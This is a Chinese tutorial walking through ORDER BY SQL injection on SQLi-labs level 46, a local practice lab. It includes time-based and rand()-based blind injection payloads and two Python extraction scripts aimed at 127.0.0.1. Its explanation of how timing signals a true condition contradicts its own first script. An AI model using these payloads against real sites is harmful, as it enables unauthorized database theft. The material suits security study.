我们进入46关时,这时候发现屏幕上的显示的不是再是ID了,而是要我们输入sort。在输入sort=1后结果如下:
从源码中可以看到查询的SQL语句变成了sgl="SELECT * FROM users ORDER BY $id";
可以知道它是按照我们输入的sort值来排序的。首先我们来了解一下order by的语法
select * from 表名 order by 列名(或者数字) asc;升序(默认升序)、desc;降序
而order by注入就是通过可控制的位置在order by子句后,如本题的$id。
第一种方法:因为在我们sort=4时有报错信息所以我们可以尝试用报错注入法注入:
如获取数据库名:
第二种方法时间盲注法,我们可以将要查询的字母数字查询出来(可以用substr()函数截取)并比较界面的反应时间来判断是否猜中。如果手工一个个查询的话很慢,建议用脚本代替。
order by if(表达式,1,sleep(1))
表达式为true时,正常时间显示
表达式为false时,会延迟一段时间显示
延迟的时间并不是sleep(1)中的1秒,而是大于1秒。 它与所查询的数据的条数是成倍数关系的。
计算公式:延迟时间=sleep(1)的秒数*所查询数据条数
如果查询的数据很多时,延迟的时间就会特别长
在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。
参考脚本如下:
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "if(ascii(substr(database(),%d,1))>%d, sleep(1), 0)" % (i, mid)
params = {"sort":payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 5:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
inject_database(url)
注意:判断界面反应时间最好自己亲自手工测试一遍,要不然最后没有数据显示大概率就是时间问题。
也可以用BeautifulSoup库,它是Python中的一个第三方库,其最主要的功能是处理HTML文档。使用BeautifulSoup库可以完成以下操作:
- 查找HTML文档中的指定标签
- 获取HTML文档中指定标签的标签名、标签值、标签属性等
- 修改HTML文档中指定标签
- 将HTML文档解析为一个对象,使用该对象方法能很方便的获取HTML文档中的数据
- 也可以用来处理XML文档
因为我们发现在rand里面查询为真时界面列表的第一个用户恒为admin3可以用BeautifulSoup里面提取标签信息来比对。
脚本参考:
import requests
import time
from bs4 import BeautifulSoup
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "rand(ascii(substr((select database()),%d,1)) > %d)" % (i, mid)
params = {"sort":payload}
r = requests.get(url, params=params)
html=r.text
soup=BeautifulSoup(html,'html.parser')
getname=soup.find_all('td')[1].text
if getname == 'admin3':
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqlilabs/Less-46/index.php'
inject_database(url)
可以看到库名已经成功显示出来。